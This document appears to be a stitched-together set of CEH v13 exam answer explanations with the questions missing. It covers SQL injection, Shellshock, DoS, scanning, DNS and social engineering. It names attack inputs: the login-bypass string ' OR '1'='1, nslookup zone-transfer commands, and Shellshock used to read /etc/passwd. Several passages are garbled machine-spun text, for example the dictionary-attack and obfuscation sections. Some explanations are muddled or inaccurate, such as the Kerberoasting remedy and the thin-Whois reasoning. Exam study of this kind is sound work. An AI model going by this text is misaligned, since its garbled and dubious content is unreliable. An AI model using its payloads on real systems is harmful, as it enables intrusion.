Vulnerable if user input is improperly handled, allowing command injection or arbitrary file access.

Option Clarification:

A. .stm: Correct – indicates SSI is enabled.

B. .html: Static file, not associated with SSI.

C. .rss: XML feed; irrelevant to SSI.

D. .cms: Generic; doesn’t indicate SSI functionality.

Vulnerability scanning software is a tool that can help security analysts identify and prioritize known vulnerabilities in their systems and applications. However, it is not a perfect solution and has some limitations that need to be considered. One of the most critical limitations is that vulnerability scanning software is not immune to software engineering flaws that might lead to serious vulnerabilities being missed. This means that the software itself might have bugs, errors, or oversights that could affect its accuracy, reliability, or performance. For example, the software might:

Fail to detect some vulnerabilities due to incomplete or outdated databases, incorrect signatures, or insufficient coverage of the target system or application.

Produce false positives or false negatives due to misinterpretation of the scan results, incorrect configuration, or lack of context or validation.

Cause unintended consequences or damage to the target system or application due to intrusive or aggressive scanning techniques, such as exploiting vulnerabilities, modifying data, or crashing services.

Be vulnerable to attacks or compromise by malicious actors who could exploit its weaknesses, tamper with its functionality, or steal its data.

Therefore, the security analyst should be most cautious about this limitation of vulnerability scanning software, as it could lead to a false sense of security, missed opportunities for remediation, or increased exposure to threats. The security analyst should always verify the scan results, use multiple tools and methods, and update and patch the software regularly to mitigate this risk.

This attack is a classic example of Piggybacked SQL Injection, covered in CEH v13 Web Application Hacking. Piggybacked queries allow attackers to append additional malicious SQL commands to an existing query using a delimiter such as a semicolon.

The payload executes the original query followed by a destructive command (DROP TABLE). UNION-based injections retrieve data, Boolean-based injections infer logic, and error-based injections rely on error messages—not destructive execution.

CEH v13 explicitly describes piggybacked queries as capable of data destruction and privilege escalation, making Option A correct.

Adversaries could decide to build an possible or file difficult to find or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. this is often common behavior which will be used across totally different platforms and therefore the network to evade defenses.

Payloads may be compressed, archived, or encrypted so as to avoid detection. These payloads may be used throughout Initial Access or later to mitigate detection. typically a user’s action could also be needed to open and Deobfuscate/Decode Files or info for User Execution. The user can also be needed to input a parole to open a parole protected compressed/encrypted file that was provided by the mortal. Adversaries can also used compressed or archived scripts, like JavaScript.

Portions of files can even be encoded to cover the plain-text strings that will otherwise facilitate defenders with discovery. Payloads can also be split into separate, ostensibly benign files that solely reveal malicious practicality once reassembled.

Adversaries can also modify commands dead from payloads or directly via a Command and Scripting Interpreter. surroundings variables, aliases, characters, and different platform/language specific linguistics may be wont to evade signature based mostly detections and application management mechanisms.

According to CEH v13 Web Application and Server Security, regular patching and updates are the most effective way to reduce server attack surfaces. Vulnerabilities in web servers, proxies, and supporting services are frequently exploited if patches are delayed.

While architectural choices and directory placement influence organization, they do not mitigate known vulnerabilities. Changing IP addresses does not prevent exploitation, and moving directories does not address underlying software flaws.

CEH v13 consistently emphasizes patch management as a primary defensive control. Therefore, Option C is correct.

The CEH IDS/IPS Evasion module describes packet fragmentation as a common evasion technique used to bypass signature-based detection.

Option B is correct.

Other options represent different attack categories.

CEH highlights reassembly normalization as a countermeasure.

Comprehensive and Detailed Explanation:

SIEM (Security Information and Event Management) systems aggregate logs and alerts from across the network—servers, routers, firewalls, IDS/IPS, and applications—and correlate that data to identify suspicious or malicious activity.

They provide:

Real-time alerting

Long-term log storage

Compliance reporting

Incident response facilitation

From CEH v13 Courseware:

Module 12: Evading IDS, Firewalls, and Honeypots → SIEM Tools

The Shellshock vulnerability (CVE-2014-6271) allows attackers to execute arbitrary commands via crafted environment variables in Bash. In this example, the malicious command cat /etc/passwd is executed, displaying the contents of the file (which contains system user account info).

Reference – CEH v13 Official Study Guide:

Module 6: Malware Threats

Quote:

“Shellshock allows remote code execution through environment variables processed by Bash. Exploits can be used to run commands like cat /etc/passwd on a vulnerable system.”

Incorrect Options:

A. No file deletion occurs.

B. It doesn’t change passwords.

C. No user addition occurs.

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CEH emphasizes that application-layer DoS attacks are often the most difficult to detect and mitigate because they can mimic legitimate user behavior while exhausting backend resources. A distributed SQL injection–driven DoS (Option B) can be especially challenging: attackers send requests that appear valid at the HTTP level, but the injected or crafted parameters force the application/database to execute expensive queries (heavy joins, sleep/delay functions, or costly operations). When distributed across many sources, the traffic can look like normal customer usage—successful TCP handshakes, valid HTTP requests, and realistic user-agent patterns—while still causing database connection pool exhaustion, CPU spikes, lock contention, and degraded response times.

Option A (Smurf) and Option D (UDP/DNS flooding) are more volumetric/network-layer patterns and are typically mitigated with upstream DDoS scrubbing, rate limiting, and filtering, and are more readily detectable via traffic anomalies. Option C (zero-day RCE) is severe, but it is not primarily a “DoS technique” in CEH classification; it’s an exploitation scenario that may lead to service outage, but the detection/mitigation path centers on exploit prevention, EDR, patching, and containment rather than DoS controls. In CEH terms, Option B aligns best with a sophisticated, scenario-like DoS that blends into normal app activity.

CEH mitigation approaches for application-layer DoS include WAF rules, input validation/parameterization (preventing SQLi), query cost controls, rate limiting by behavior, caching, database hardening, and anomaly detection at the application and database tiers.

Comprehensive and Detailed Explanation:

The correct nslookup syntax to perform a zone transfer is:

ls -d domain_name

So, from the nslookup prompt:

server 192.168.10.2

ls -d abccorp.local

This will attempt to list all DNS records for the abccorp.local domain from the specified server, if zone transfers are permitted.

From CEH v13 Courseware:

Module 4: Enumeration → DNS Zone Transfers

This scenario is a textbook example of a Whaling Attack, a highly targeted phishing technique described in the CEH v13 Social Engineering module. Whaling specifically targets senior executives or high-ranking individuals, exploiting their authority, access privileges, and decision-making roles.

In the given case, the attacker crafts a personalized email, impersonates the CEO, and uses legitimate corporate branding to build trust. The malicious PDF attachment delivers a backdoor, aligning with CEH v13 descriptions of advanced spear-phishing techniques used against executives.

CEH v13 differentiates whaling from other phishing types:

Broad phishing targets large groups indiscriminately.

Pharming redirects users via DNS manipulation.

Email clone attacks copy legitimate emails but typically target peers, not executives.

Whaling attacks are particularly dangerous because executives often bypass security scrutiny and possess elevated system access. CEH v13 emphasizes executive awareness training as a key mitigation strategy.

Therefore, the correct answer is Whaling attack aimed at high-ranking personnel.

WHOIS is an Internet service that allows users to query domain name registries to retrieve information about registered domain names. It includes data such as:

Registrant’s name and contact information

Domain creation and expiration dates

Registrar details and name servers

WHOIS is often used during the reconnaissance phase in penetration testing.

Reference – CEH v13 Official Study Guide:

Module 2: Footprinting and Reconnaissance

Quote:

“WHOIS databases provide public domain registration details including contact names, email addresses, and registrar information. This is useful for initial reconnaissance.”

Incorrect Options:

B. CAPTCHA is used to distinguish human users from bots.

C. IANA oversees global IP address allocation and DNS root zone management.

D. IETF is responsible for internet standards, not registrant databases.

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CEH v13 teaches that NetBIOS enumeration is a key technique for gathering information in Windows environments without raising alarms. Ports 137 and 139 indicate that NetBIOS Name Service (NBNS) and SMB services are active. The tool nbtstat -A <IP> retrieves valuable information including computer names, logged-in users, domain/workgroup membership, and system roles—all passively and without authentication. CEH emphasizes that querying NetBIOS is often overlooked by defenders and generates minimal noise, making it ideal for stealth enumeration. LDAP enumeration (Option A) requires directory access and tends to trigger logs. Psloggedon and pspasswd (Options B and D) involve active interaction and authentication attempts, which are far more detectable. nbtstat is the CEH-recommended tool for initial reconnaissance on Windows networks using NetBIOS and SMB, especially when quiet enumeration is required.

Censys is a powerful Internet-wide scanning tool that allows users to:

Discover and analyze devices and services exposed to the public internet

Enumerate connected IoT devices, open ports, software versions

Provide structured and searchable reports for vulnerability analysis

According to CEH v13:

Censys continuously scans the IPv4 address space and maintains up-to-date databases of connected devices and their metadata.

Incorrect Options:

B. Wapiti is a web application vulnerability scanner.

C. NeuVector is a container security solution.

D. Lacework is a cloud workload protection platform, not focused on IoT enumeration.

Reference – CEH v13 Official Courseware:

Module 18: IoT and OT Hacking

Section: “IoT Discovery Tools”

Tool Focus: Censys, Shodan

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According to the CEH Denial-of-Service (DoS/DDoS) module, application-layer DDoS attacks specifically target services such as HTTP, HTTPS, DNS, or APIs by sending requests that appear legitimate but overwhelm server resources.

An HTTP flood attack sends a massive number of HTTP GET or POST requests, consuming CPU, memory, and application threads. CEH highlights that these attacks are particularly dangerous because they:

Mimic normal user behavior

Are difficult to distinguish from legitimate traffic

Bypass traditional network-layer defenses

Option A is correct.

Options B, C, and D operate primarily at the network or transport layers, not the application layer.

CEH stresses that HTTP floods are among the most challenging DDoS attacks to mitigate due to their stealthy nature.

Split DNS (also known as Split-Horizon DNS) is a configuration where internal users and external users receive different DNS responses. Typically, one DNS server resides in the DMZ for public access, and another is inside the network for internal name resolution.

📘 Reference – CEH v13 Official Study Guide, Module 9: System Hacking / Perimeter Security

“Split DNS allows different DNS records to be presented based on whether the requester is from inside or outside the organization’s network.”

❌ Incorrect options:

A. DynDNS is a dynamic DNS provider.

B. DNS Scheme is a non-standard term.

C. DNSSEC is a security extension for DNS, not a deployment model.

Ettercap is a comprehensive MITM attack tool that supports live traffic interception and content injection. It can modify HTTP streams in real time and inject malicious payloads, such as JavaScript or applets, into web traffic.

Reference – CEH v13 Official Study Guide:

Module 8: Sniffing

Quote:

“Ettercap allows attackers to intercept, analyze, and alter data on the fly, including injecting malicious content like Java applets in HTTP sessions during MITM attacks.”

Incorrect Options Explained:

A & D. Wireshark and Tcpdump are passive sniffers with no injection capability.

C. Aircrack-ng is for Wi-Fi key cracking, not traffic manipulation.

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Comprehensive and Detailed Explanation:

LDAP (Lightweight Directory Access Protocol) uses a hierarchical data structure similar to a directory tree. SQL databases use a relational structure with tables, rows, and columns.

Because of its hierarchical nature:

LDAP is excellent for parent-child relationships.

It struggles with representing many-to-many or many-to-one relationships efficiently.

From CEH v13 Courseware:

Module 4: Enumeration → LDAP Basics

Most likely have an issue with DNS.

DNS stands for “Domain Name System.” It’s a system that lets you connect to websites by matching human-readable domain names (like example.com) with the server's unique ID where a website is stored.

Think of the DNS system as the internet’s phonebook. It lists domain names with their corresponding identifiers called IP addresses, instead of listing people’s names with their phone numbers. When a user enters a domain name like wpbeginner.com on their device, it looks up the IP address and connects them to the physical location where that website is stored.

NOTE: Often DNS lookup information will be cached locally inside the querying computer or remotely in the DNS infrastructure. There are typically 8 steps in a DNS lookup. When DNS information is cached, steps are skipped from the DNS lookup process, making it quicker. The example below outlines all 8 steps when nothing is cached.

The 8 steps in a DNS lookup:

1. A user types ‘example.com’ into a web browser, and the query travels into the Internet and is received by a DNS recursive resolver;

2. The resolver then queries a DNS root nameserver;

3. The root server then responds to the resolver with the address of a Top-Level Domain (TLD) DNS server (such as .com or .net), which stores the information for its domains. When searching for example.com, our request is pointed toward the .com TLD;

4. The resolver then requests the .com TLD;

5. The TLD server then responds with the IP address of the domain’s nameserver, example.com;

6. Lastly, the recursive resolver sends a query to the domain’s nameserver;

7. The IP address for example.com is then returned to the resolver from the nameserver;

8. The DNS resolver then responds to the web browser with the IP address of the domain requested initially;

Once the 8 steps of the DNS lookup have returned the IP address for example.com, the browser can request the web page:

9. The browser makes an HTTP request to the IP address;

10. The server at that IP returns the webpage to be rendered in the browser.

NOTE 2: DNS primarily uses the User Datagram Protocol (UDP) on port number 53 to serve requests. And if this port is blocked, then a problem arises already in the first step. But the ninth step is performed without problems.

CEH v13 identifies Slowloris as a low-bandwidth yet highly effective application-layer DoS technique that works by opening many HTTP connections and sending headers very slowly, never completing the request. Because the server must maintain these half-open HTTP sessions, its connection pool becomes saturated, preventing it from servicing legitimate users. Slowloris is particularly dangerous because it does not rely on malformed packets, high traffic volume, or protocol abuses; instead, it mimics legitimate HTTP behavior, making it difficult for firewalls or IDS systems to distinguish malicious traffic. This aligns exactly with the described scenario, where thousands of legitimate-looking HTTP connections are gradually consuming server resources. Fragmentation attacks (Option B) target packet reconstruction, UDP floods (Option C) generate high-bandwidth noise, and SYN floods (Option D) impact the TCP handshake layer, not the HTTP header behavior. Slowloris’ unique use of slow HTTP headers directly matches the symptoms described.

A thin Whois model is a type of data model that is used by some domain registrars for storing and looking up Whois information. In a thin Whois model, the registrar only stores the basic information about the domain, such as the domain name, the registrar name, the name servers, and the registration and expiration dates. The rest of the information, such as the contact details of the domain owner, the administrative contact, and the technical contact, is stored by the registry that manages the top-level domain (TLD) of the domain. For example, the registry for .com and .net domains is Verisign, and the registry for .org domains is Public Interest Registry. When a Whois lookup is performed on a domain that uses a thin Whois model, the registrar’s Whois server only returns the basic information and refers the query to the registry’s Whois server for the complete information1.

As a hacker, if you are unable to gather complete Whois information from the registrar for a particular set of data, it might be because the domain’s registrar is using a thin Whois model and the registry’s Whois server is not responding or providing the information. This could be due to various reasons, such as network issues, server errors, rate limits, privacy policies, or legal restrictions. Therefore, the probable data model being utilized by the domain’s registrar for storing and looking up Whois information is a thin Whois model working correctly.

Tcpdump is a data-network packet analyzer computer program that runs under a command-line interface. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. Distributed under the BSD license, tcpdump is free software.

https://www.wireshark.org/

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education.

NOTE: Wireshark is very similar to tcpdump, but has a graphical front-end, plus some integrated sorting and filtering options.

According to the CEH Network Scanning module, Idle Scanning (Zombie Scanning) is one of the most stealthy reconnaissance techniques. In this method, the attacker uses an idle third-party host (zombie) to probe the target indirectly.

Because all scan packets appear to originate from the zombie system, the true attacker remains hidden. CEH highlights that idle scans:

Are extremely stealthy

Generate minimal traffic from the attacker

Make attribution very difficult

Option B is correct.

Option A (FIN scan) is stealthy but still traceable.

Option C is noisy and easily detected.

Option D describes a Xmas scan, which is detectable.

CEH classifies idle scanning as one of the hardest scanning techniques to trace.

CEH v13 highlights the Idle Scan as one of the stealthiest reconnaissance methods available, designed specifically to avoid detection by IDS and security monitoring tools. Idle scanning leverages a “zombie host”—a system with a predictable IPID sequence—to route all probe packets through it. Since no packets ever originate directly from the attacker’s IP, IDS systems are unable to attribute the port scan to the attacker. CEH emphasizes that this technique creates zero direct traffic between the attacker and the target, making it extremely evasive and ideal for highly monitored networks. FIN scans (Option A) are somewhat stealthy but still originate from the attacker and are detectable. TCP Connect scans (Option C) are the most detectable because they complete full connections. ICMP Echo scans (Option D) are easily logged and flagged by IDS. Idle scanning is uniquely suited for bypassing advanced detection systems while still identifying open ports and live hosts.

CEH identifies brute-force cryptanalysis as a method in which an attacker systematically tests every possible key, password, or passphrase until the correct one is found. When an attacker obtains initial bytes from an encrypted container—often referred to as known plaintext—they can use this to validate attempts as the tool iterates through candidate keys. Automated brute-force tools compare decrypted results with known header patterns, file signatures, or expected byte structures to determine when the correct key is reached. This process aligns precisely with brute-force password testing described in CEH cryptography modules. Quantum solving is not part of CEH scope, digest comparison relates to collision attacks, and analyzing output length pertains to padding oracle detection. The correct classification is automated brute-force cryptanalysis.

Union-based SQL injection is a technique that uses the UNION SQL operator to combine the results of the original query with the results of one or more additional queries. This allows attackers to:

Retrieve data from different database tables

Extend the result set returned to the web application

Exploit the application if both queries return the same number and type of columns

According to CEH v13:

UNION SELECT can be used to enumerate tables, extract user credentials, or display sensitive data.

It requires knowledge of the structure of the original query.

Incorrect Options:

A. Error-based injection extracts data from database error messages.

B. Boolean-based blind SQLi returns true/false results to infer data.

C. Blind SQLi (generic) relies on no visible output and uses inference techniques.

Reference – CEH v13 Official Courseware:

Module 14: Hacking Web Applications

Section: “Types of SQL Injection Attacks”

Subsection: “Union-Based SQL Injection”

=

The CEH Footprinting and Reconnaissance module describes DNS interrogation as a valuable technique for extracting publicly available infrastructure information such as A records, MX records, NS records, and subdomains.

DNS can reveal:

Subdomains (via zone transfers, brute forcing, or enumeration)

Mail server IP addresses (MX records)

Server locations inferred from IP geolocation

However, DNS does not store authentication credentials. Usernames and passwords are protected within authentication systems and directories, not DNS records.

Therefore, option A is correct.

CEH clearly states that DNS reconnaissance is limited to infrastructure metadata, not sensitive user credentials.

A Kerberoasting attack is a technique that exploits the Kerberos authentication protocol to obtain the password hash of a service account that has a Service Principal Name (SPN). An attacker can request a service ticket (TGS) for the SPN using a valid user’s ticket (TGT) and then attempt to crack the password hash offline. To prevent the attacker from using the TGS to access the service, the system administrator should invalidate the TGS as soon as possible. This can be done by changing the password of the service account, which will generate a new password hash and render the old TGS useless. Alternatively, the system administrator can use tools like Mimikatz to purge the TGS from the memory of the domain controller or the client system. Performing a system reboot, deleting the compromised user’s account, or changing the NTLM password hash used to encrypt the ST are not effective ways to invalidate the TGS, as they do not affect the encryption of the TGS or the validity of the TGT. References:

EC-Council CEHv13 Courseware Module 11: Hacking Webservers, page 11-24

What is a Kerberoasting Attack? – CrowdStrike

How to Perform Kerberoasting Attacks: The Ultimate Guide - StationX

In CEH v13 Module 03: Scanning Networks, ICMP scan types are covered under host discovery techniques in Nmap/Zenmap.

The -PP option in Nmap is used to perform an ICMP timestamp request scan.

This method sends an ICMP timestamp request and listens for a timestamp reply from the target.

It helps analysts determine the system uptime and verify whether the host is alive (for stealthy discovery).

Option Clarification:

A. -PY: SCTP INIT Ping (used for SCTP-based hosts).

B. -PU: UDP Ping (sends UDP packets).

C. -PP: ICMP Timestamp Ping — correct answer.

D. -Pn: Skips host discovery (treats all hosts as alive), not a ping type.

Server-Side Request Forgery (SSRF) is emphasized in CEH v13 Web Application Hacking as a stealthy and powerful attack. SSRF allows attackers to make requests from the trusted server itself, bypassing firewalls, authentication, and logging controls.

Compared to web shells or webhook abuse, SSRF leaves fewer forensic artifacts and enables internal API access, metadata exposure, and lateral movement.

A Stealth or Tunneling Virus is designed specifically to evade detection by antivirus software and system monitoring tools. These viruses work by intercepting and modifying the operating system’s service call interrupts (such as INT 13h and INT 21h in DOS systems), which are used to access files or system services.

By hooking into these interrupts, the virus can return clean or forged data to antivirus scanners, thus hiding its malicious presence from detection tools.

Tunneling viruses may also operate at a lower level to evade even more advanced antivirus detection methods, making them particularly dangerous and hard to detect.

Reference – CEH v13 Official Study Guide:

Module 6: Malware Threats

Section: Types of Viruses

Quote:

“Tunneling viruses attempt to avoid detection by antivirus programs by installing themselves in the interrupt handler chain. These viruses intercept operating system calls to conceal their activities.”

Incorrect Options Explained:

A. Macro viruses target applications like Microsoft Word/Excel and use embedded macros, but do not alter service call interrupts.

C. Cavity viruses insert code into empty spaces in files without changing the file size but do not modify interrupts.

D. Polymorphic viruses mutate their code to avoid signature-based detection but do not typically interfere with system interrupts directly.

Whois footprinting is a reconnaissance technique used by attackers and penetration testers to gather publicly available information about domain names. By performing a Whois lookup, one can retrieve:

Domain registrant details (name, email, phone, and address)

Domain registration and expiry dates

Name servers and registrar information

Administrative and technical contact data

According to CEH v13:

Whois databases are maintained by Internet registrars and can be queried through tools like whois lookup or websites such as https://whois.domaintools.com.

This information helps attackers build a profile of the organization, identify potential social engineering targets, and even understand domain structure for further attacks.

Incorrect Options:

A. VPN footprinting refers to identifying VPN gateways or configurations — not related to domain data.

B. Email footprinting involves gathering information from or about email systems.

C. VoIP footprinting targets IP-based telephony systems, such as SIP endpoints.

Reference – CEH v13 Official Courseware:

Module 02: Footprinting and Reconnaissance

Section: “WHOIS Footprinting”

Tools: Whois lookup tools, ICANN WHOIS, DomainTools

https://nmap.org/book/man-port-specification.html

NOTE: In my opinion, this is an absolutely wrong statement of the question. But you may come across a question with a similar wording on the exam. What does "fast" mean? If we want to increase the speed and intensity of the scan we can select the mode using the -T flag (0/1/2/3/4/5). At high -T values, we will sacrifice stealth and gain speed, but we will not limit functionality.

«nmap -T4 -F 10.10.0.0/24» This option is "correct" because of the -F flag.

-F (Fast (limited port) scan)

Specifies that you wish to scan fewer ports than the default. Normally Nmap scans the most common 1,000 ports for each scanned protocol. With -F, this is reduced to 100.

Technically, scanning will be faster, but just because we have reduced the number of ports by 10 times, we are just doing 10 times less work, not faster.

The Certified Ethical Hacker (CEH) Web Application Hacking and DoS/DDoS module identifies Slowloris as an application-layer denial-of-service attack that targets web servers by maintaining a large number of half-open HTTP connections.

Slowloris works by sending partial HTTP requests very slowly, preventing the server from closing the connections. CEH documentation highlights that this attack does not rely on high bandwidth, making it difficult to detect using traditional network-based defenses.

Option C accurately matches the described symptoms and CEH’s definition.

Options A and B are network-layer flooding attacks, which were explicitly ruled out.

Option D is a packet fragmentation attack, not an application-layer DoS technique.

CEH stresses tuning connection timeouts and using reverse proxies as mitigations.

A Slow HTTP POST attack is a type of denial-of-service (DoS) attack that exploits the way web servers handle HTTP requests. The attacker sends a legitimate HTTP POST header to the web server, specifying a large amount of data to be sent in the request body. However, the attacker then sends the data very slowly, keeping the connection open and occupying the server’s resources. The attacker can launch multiple such connections, exceeding the server’s capacity to handle concurrent requests and preventing legitimate users from accessing the web server.

The attack duration D is given by the formula D = a * b, where a is the number of connections and b is the hold-up time per connection. The attacker intends to maximize D by manipulating a and b. The server can manage m connections per second, but any connections exceeding m will overwhelm the system. Therefore, the scenario that is most likely to result in the longest duration of server unavailability is the one where a > m and b is the largest. Among the four options, this is the case for option B, where a = 100, m = 90, and b = 15. In this scenario, D = 100 * 15 = 1500 seconds, which is the longest among the four options. Option A has a larger b, but a < m, so the server can handle the connections without being overwhelmed. Option C has a > m, but a smaller b, so the attack duration is shorter. Option D has a > m, but a smaller b and a smaller difference between a and m, so the attack duration is also shorter. 

A dictionary Attack as an attack vector utilized by the attacker to break in a very system, that is password protected, by golf shot technically each word in a very dictionary as a variety of password for that system. This attack vector could be a variety of Brute Force Attack.

The lexicon will contain words from an English dictionary and conjointly some leaked list of commonly used passwords and once combined with common character substitution with numbers, will generally be terribly effective and quick.

How is it done?

Basically, it’s attempting each single word that’s already ready. it’s done victimization machine-controlled tools that strive all the possible words within the dictionary.

Some password Cracking Software:

• John the ripper

• L0phtCrack

• Aircrack-ng

Footprinting is the first phase of ethical hacking and information gathering. It involves collecting as much information as possible about a target system or organization from public sources (such as websites, social media, WHOIS databases, job postings, etc.) before launching an attack or vulnerability scan.

📘 Reference – CEH v13 Official Study Guide, Module 1: Introduction to Ethical Hacking

“Footprinting is the process of gathering information about a target system to find ways to intrude into the system.”

❌ Incorrect options:

A. Scanning is the next phase, involving probing the network.

C. Enumeration extracts detailed information from services like SNMP, NetBIOS, etc.

D. System Hacking is the actual exploitation phase.

CEH v13 states that DNS server hijacking occurs when attackers compromise the authoritative DNS infrastructure and alter DNS zone records to redirect all legitimate queries to malicious destinations. Unlike DNS cache poisoning, which affects specific resolvers temporarily, server hijacking manipulates the core DNS authority controlling the domain. This results in a complete redirect for all users, regardless of geographic location or device configuration. CEH emphasizes that such attacks can lead to large-scale credential theft, phishing, financial fraud, and session compromise because the attacker presents an identical clone site while retaining full control of DNS routing. DNS tunneling is used for covert data exfiltration and does not redirect traffic. DNS rebinding targets browser policies, not global DNS redirection. DNS amplification is a volumetric DDoS technique unrelated to zone manipulation. The scenario matches DNS server hijacking exactly.

CEH v13 explains that SQL injection typically occurs when user inputs are concatenated into SQL queries without proper validation or parameterization. The login form is one of the most common injection targets, and testers use specific test payloads designed to manipulate the authentication query. A classic test string such as ' OR '1'='1 exploits conditional logic to force the SQL statement to evaluate as true, effectively bypassing authentication if the application is vulnerable. CEH notes that this technique is a standard initial test because it is low-risk, easily detectable if vulnerable, and directly confirms improper sanitization. JavaScript injection (Option A) tests for XSS, not SQLi. Directory traversal (Option C) targets file path vulnerabilities rather than SQL queries. Brute-force attacks (Option D) rely on guessing credentials and do not test input sanitization. Therefore, using a logical SQL injection payload is the most appropriate and CEH-aligned method.

Comprehensive and Detailed Explanation:

A Denial-of-Service (DoS) attack aims to overwhelm a system or service with excessive requests, rendering it unavailable to legitimate users. It targets:

Bandwidth (e.g., flooding with traffic)

Resources (CPU, memory, or disk usage)

Applications (exploiting bugs that crash services)

From CEH v13 Courseware:

Module 9: Denial-of-Service Attacks

Incorrect Options:

B refers to brute-force attacks.

C mischaracterizes password cracking.

D describes impersonation or spoofing, not DoS.

Whaling is an advanced social engineering technique that targets high-profile individuals, such as executives, managers, or celebrities, by impersonating them or someone they trust, such as a colleague, partner, or vendor. The attacker creates a fake Linkedin profile, pretending to be a high-ranking official from a well-established company, and uses it to connect with other employees within the organization. The attacker then leverages the trust and authority of the fake profile to gain access to exclusive corporate events and proprietary project details shared within the network. This way, the attacker can launch targeted attacks against the organization, such as stealing sensitive data, compromising systems, or extorting money.

The most likely immediate threat to the organization is the loss of confidential information and intellectual property, which can damage the organization’s reputation, competitiveness, and profitability. The attacker can also use the information to launch further attacks, such as ransomware, malware, or sabotage, against the organization or its partners and customers.

The other options are not as accurate as whaling for describing this scenario. Pretexting is a social engineering technique that involves creating a false scenario or identity to obtain information or access from a victim. However, pretexting usually involves direct communication with the victim, such as a phone call or an email, rather than creating a fake Linkedin profile and connecting with the victim’s network. Spear phishing is a social engineering technique that involves sending a personalized and targeted email to a specific individual or group, usually containing a malicious link or attachment. However, spear phishing does not involve creating a fake Linkedin profile and connecting with the victim’s network. Baiting and involuntary data leakage are not social engineering techniques, but rather possible outcomes of social engineering attacks. Baiting is a technique that involves offering something enticing to the victim, such as a free download, a gift card, or a job opportunity, in exchange for information or access. Involuntary data leakage is a situation where the victim unintentionally or unknowingly exposes sensitive information to the attacker, such as by clicking on a malicious link, opening an infected attachment, or using an unsecured network. References:

Whaling: What is a whaling attack?

Advanced Social Engineering Attack Techniques

Top 8 Social Engineering Techniques and How to Prevent Them

CEH materials explain that modern web applications deploy multiple layers of security—HTTPS, secure cookies, HttpOnly flags, and strict session regeneration—to defend against standard hijacking methods such as token theft through XSS or fixation. When these protections are properly implemented, attackers must compromise the underlying trust relationship between the client and server to successfully intercept or manipulate session tokens. One of the most advanced techniques described in CEH is compromising a trusted certificate authority or injecting a forged certificate into the victim’s trust store. This enables the attacker to perform a transparent MITM attack despite HTTPS protections. Because the victim’s browser trusts the forged certificate, encrypted traffic—including session tokens—is exposed to the attacker without generating browser warnings or IDS alerts. Timing side-channel attacks are not considered session hijacking methods; XSS is mitigated by secure flags; and session fixation is ineffective when session regeneration occurs. Therefore, compromising a trusted certificate authority to enable an undetectable MITM attack is the most viable method.

CEH v13 classifies this malware as fileless malware, which resides in memory and abuses legitimate system tools (Living-off-the-Land techniques). Traditional antivirus solutions are often ineffective.

CEH v13 recommends:

Script control (PowerShell Constrained Language Mode)

Application whitelisting

Monitoring parent-child process relationships

These measures directly target the malware’s execution method. Reboots and folder cleanup do not address in-memory persistence.

To start the Computer Management Console from command line just type compmgmt.msc /computer:computername in your run box or at the command line and it should automatically open the Computer Management console.

https://en.wikipedia.org/wiki/Presentation_layer

In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as the data translator for the network. It is sometimes called the syntax layer. The presentation layer is responsible for the formatting and delivery of information to the application layer for further processing or display.

Encryption is typically done at this level too, although it can be done on the application, session, transport, or network layers, each having its own advantages and disadvantages. Decryption is also handled at the presentation layer. For example, when logging on to bank account sites the presentation layer will decrypt the data as it is received.

According to the CEH IDS/IPS module, false positives occur when legitimate activity is incorrectly flagged as malicious. The most common cause is overly sensitive IDS rules or thresholds.

Option D correctly identifies this issue.

Option A describes the symptom, not the root cause.

Option B is unrelated to IDS alert behavior.

Option C can cause missed detections, not excessive alerts.

CEH recommends proper tuning and baseline profiling.

AES is the industry-standard symmetric encryption algorithm endorsed by CEH v13. It provides strong confidentiality and resists traffic analysis when used with proper modes (e.g., CBC, GCM).

DES is obsolete, HMAC ensures integrity not encryption, PSA is not a standard encryption algorithm.

Thus, Option B is correct.

A low-and-slow scanning technique spreads probe attempts over long intervals, reducing the chance of triggering IDS signatures that rely on detecting rapid or high-volume scans. CEH highlights timing-based evasion as an effective method for reconnaissance against networks with strict perimeter controls.

CEH v13 defines a Trojan as malware that appears as a legitimate, trusted software application while secretly executing malicious actions behind the scenes. Trojans rely on deception rather than replication, often masquerading as tools, utilities, updates, or installers. Once executed, they may install backdoors, steal credentials, exfiltrate data, or modify system settings. The defining characteristic emphasized in CEH is the legitimate-looking façade combined with hidden malicious intent, which matches the scenario perfectly. Spyware (Option B) focuses on monitoring and data collection but does not necessarily disguise itself as legitimate software. Worms (Option C) self-replicate across networks, which is not described here. Rootkits (Option D) hide system compromise but do not necessarily pose as legitimate software. Therefore, the malware described is a Trojan.

In CEH v13 Cryptography, this threat is formally referred to as “Harvest Now, Decrypt Later” (HNDL). It describes a long-term cryptographic risk where adversaries intercept and store encrypted communications today, even though they cannot decrypt them with current computational capabilities. The expectation is that future quantum computers will be powerful enough to break widely used public-key cryptographic algorithms.

CEH v13 emphasizes that quantum algorithms such as Shor’s Algorithm can theoretically break RSA, DSA, and ECC by efficiently solving integer factorization and discrete logarithm problems. However, the defining feature of this threat is not the act of breaking encryption itself, but rather the strategic collection and storage of encrypted data in advance.

Option C is incomplete because it focuses only on the cryptographic mechanism rather than the threat model. Options B and D are unrelated to the scenario described and refer to quantum communication integrity issues, not long-term cryptographic exposure.

CEH v13 highlights that sensitive data with long confidentiality lifetimes—such as government records, financial data, healthcare information, and intellectual property—is especially vulnerable to this threat. As a result, organizations are encouraged to adopt quantum-resistant (post-quantum) cryptographic algorithms proactively.

Thus, Option A accurately describes the threat model and aligns with CEH v13’s treatment of future cryptographic risks.

While perimeter defenses like firewalls and IPS provide a layer of protection, internal systems (such as network elements) must also be hardened. This includes:

Enforcing strong authentication

Applying regular patches and updates

Conducting vulnerability assessments and security audits

Security should be layered (defense in depth), and reliance on perimeter defense alone is insufficient.

Reference – CEH v13 Official Study Guide:

Module 3: Scanning Networks / Module 18: Incident Response

Quote:

“Internal systems must be hardened with secure configurations and tested regularly. A layered security approach is required even in protected environments.”

Incorrect Options:

B & C. Relying only on perimeter or physical security is not sufficient

D. While backup sites are part of DR, they don’t replace proactive protection

=

Shellshock (CVE-2014-6271) is a vulnerability in the GNU Bash (Bourne Again Shell) that allows remote code execution via crafted environment variables. It was disclosed in 2014 and had a wide impact on systems that relied on Bash as a command-line shell interpreter.

Affected systems include:

Linux distributions (Red Hat, Debian, CentOS, Ubuntu, etc.)

Unix variants (e.g., FreeBSD, OpenBSD, etc.)

Apple macOS (formerly OS X), since it uses Bash as the default shell

